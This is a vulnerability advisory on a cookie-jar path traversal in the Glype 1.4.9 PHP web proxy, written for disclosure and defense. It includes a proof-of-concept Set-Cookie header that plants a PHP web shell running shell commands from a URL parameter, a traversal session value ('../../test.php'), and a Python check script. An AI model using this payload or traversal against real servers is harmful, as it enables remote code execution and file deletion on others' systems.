Glype proxy cookie jar path traversal allows code execution


A path traversal vulnerability has been identified in the Glype web-based proxy that allows an attacker to run arbitrary PHP code on the server or to remove critical files from the filesystem. This only affects servers that are configured to:

  • store Glype cookies locally; AND
  • disable PHP display_errors; AND
  • allow the webserver process to write to the filesystem (document root).

Affected versions

This issue has been identified in Glype 1.4.9. Older version are most likely affected as well.


Glype was informed and a fixed version (1.4.10) is now available at


Glype is a web-based proxy script written in PHP. A web-based proxy script is hosted on a website which provides a proxy service to users via a web browser. A proxy service downloads requested web pages, modifies them for compatibility with the proxy, and forwards them on to the user. Web proxies are commonly used for anonymous browsing and bypassing censorship and other restrictions.

Glype is widely used to provide an anonymous browsing environment for bypassing censorship and other restrictions. There have been over 838,000 downloads of Glype since 2007. Thousands of web-based proxy websites are powered by Glype.

File creation via path traversal

When the "Store cookies on server" option is set in admin.php, Glype will create a cookie jar on the server to store a user's cookies. The filename for the cookie jar is created using the user's session ID.


$toSet[CURLOPT_COOKIEFILE] = $toSet[CURLOPT_COOKIEJAR] = $CONFIG['cookies_folder'] . session_id();

PHP takes this session ID from a cookie, so the value returned by session_id() is under control of the user. By using path traversal a user can overwrite or create any file on the server with the rights of the webserver's system user.

Code execution

As a POC the following steps were taken to create and run a malicious PHP file in the webroot:

  1. Glype was installed with the "Store cookies on server" option set in admin.php. The cookie directory remained default (tmp/cookies/).
  2. A request was initiated with the Glype session cookie's value set to ../../test.php.
  3. The Glype proxy was used to surf to a Securify controlled domain that returned a header that set a cookie containing a malicious PHP script.
Set-Cookie: TestCookie=<?php echo shell_exec($_GET['cmd']) ?>; expires=Thu, 31-Aug-2014 19:14:10 GMT

This caused Glype to write this PHP backdoor to test.php in the webroot. When requested using a browser, PHP parses the cookie jar file containing the malicious PHP code.

The following Python code can be used as a simple test to verify if your Glype installation is affected:

import urllib2

server = 'http://<glype server>'
url = '/browse.php?'

req = urllib2.Request(server + url)
req.add_header('Referer', server)
req.add_header('Cookie', 's=../securify')
r = urllib2.urlopen(req)

You are affected if a file named securify is created outside of the cookie directory.

Mitigating factors

The following mitigating factors apply:

  1. The mentioned exploit scenario requires write access to the www-root to store the php file. If the webserver is configured to deny write access to the www-root, the attack will fail.

  2. Since PHP 4 a warning is triggered by session_start() when a session ID holds illegal characters (valid characters are a-z, A-Z, 0-9 and -). If PHP is configured to hold/block on warnings, the attack will fail.

Arbitrary file removal

The following code is affected by a (similar) path traversal vulnerability allowing an attacker to remove any file the HTTP process has access to:


# Look for cookie file and check writable
if ( is_writable($file = $CONFIG['cookies_folder'] . session_id()) ) {

	# Delete it

This can for example be exploited to put a Glype server out of service or to clear log files.

Questions or feedback?